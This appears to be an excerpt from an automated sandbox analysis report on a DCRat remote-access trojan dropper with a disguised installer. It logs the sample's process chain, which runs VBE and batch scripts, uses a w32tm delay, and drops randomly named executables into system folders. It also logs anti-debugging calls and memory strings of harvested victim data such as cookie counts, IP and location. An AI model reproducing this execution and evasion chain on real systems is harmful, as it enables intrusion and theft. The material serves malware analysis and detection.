Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_004AF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_004AF838

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_009946B0 GetLocalTime,CreateFileW,GetLastError,OutputDebugStringW,OutputDebugStringW,SetFilePointer,FlushFileBuffers,WriteFile,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,WriteFile,FlushFileBuffers,

3_2_009946B0

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_0084F620 RoGetActivationFactory,LoadLibraryW,GetProcAddress,RoGetActivationFactory,LoadLibraryW,GetProcAddress,RoGetActivationFactory,LoadLibraryW,GetProcAddress,FreeLibrary,

3_2_0084F620

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004B7DEE mov eax, dword ptr fs:[00000030h]	1_2_004B7DEE
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A3008B mov eax, dword ptr fs:[00000030h]	3_2_00A3008B
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A300CF mov eax, dword ptr fs:[00000030h]	3_2_00A300CF
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A2158A mov ecx, dword ptr fs:[00000030h]	3_2_00A2158A
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A158D7 mov esi, dword ptr fs:[00000030h]	3_2_00A158D7

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_004BC030 GetProcessHeap,

1_2_004BC030

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Process token adjusted: Debug
Source: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004AF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004AF838
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004AF9D5 SetUnhandledExceptionFilter,	1_2_004AF9D5
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004AFBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_004AFBCA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004B8EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_004B8EBD
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0087BBA0 __set_se_translator,SetUnhandledExceptionFilter,	3_2_0087BBA0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A16466 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00A16466
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0087E600 __set_se_translator,SetUnhandledExceptionFilter,	3_2_0087E600
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A1B023 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00A1B023

Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\gorkmTnChA.exe	Process created: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe "C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\gorkmTnChA.exe	Process created: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe "C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\bridgeMonitorDhcpCommon\osBsCLbPfQftwHCHlhElxAOzJXM9OXwC38dZCkih.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\bridgeMonitorDhcpCommon\KQ5XnVOYWwQFrPTZ9PsIrToBZTIRzi3E3YTHck8Ca7MF45bBlpw.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe "C:\bridgeMonitorDhcpCommon/webDriverintoDll.exe"	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\uMu0Nxwczl.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe "C:\Program Files\Windows NT\Accessories\en-GB\KAdpNCgonFhCnlBRasdZerWl.exe"

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "c:\windows\system32\msiexec.exe" /i c:\users\user\appdata\local\temp\{f123046a-2cbf-4743-a59b-e3d2751b5780}\51b5780\sandellochecker_installer.msi ai_setupexepath=c:\users\user\appdata\local\temp\sandellochecker_installer.exe setupexedir=c:\users\user\appdata\local\temp\ exe_cmd_line="/exenoupdates /forcecleanup /wintime 1733667848 " ai_found_prereqs=".net framework 4.8 (web installer)"
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "c:\windows\system32\msiexec.exe" /i c:\users\user\appdata\local\temp\{f123046a-2cbf-4743-a59b-e3d2751b5780}\51b5780\sandellochecker_installer.msi ai_setupexepath=c:\users\user\appdata\local\temp\sandellochecker_installer.exe setupexedir=c:\users\user\appdata\local\temp\ exe_cmd_line="/exenoupdates /forcecleanup /wintime 1733667848 " ai_found_prereqs=".net framework 4.8 (web installer)"			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Code function: 3_2_0095BF10 GetCurrentProcess,OpenProcessToken,GetLastError,GetTokenInformation,GetTokenInformation,GetLastError,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,GetLastError,CloseHandle,

3_2_0095BF10

Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.00000000034D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .4",5,1,"","user","562258","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files (x86)\\reference assemblies\\Microsoft","_SL8D (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.22
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.00000000034D0000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003277000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.00000000034D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"25","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","562258","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files (x86)\\reference assemblies\\Microsoft","_SL8D (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.228","US / United States","New York / New York","40.7123 / -74.0068"]

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_004AF654 cpuid

1_2_004AF654

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: GetLocaleInfoW,GetNumberFormatW,		1_2_004AAF0F
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,		3_2_0098A660

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Queries volume information: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe VolumeInformation	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
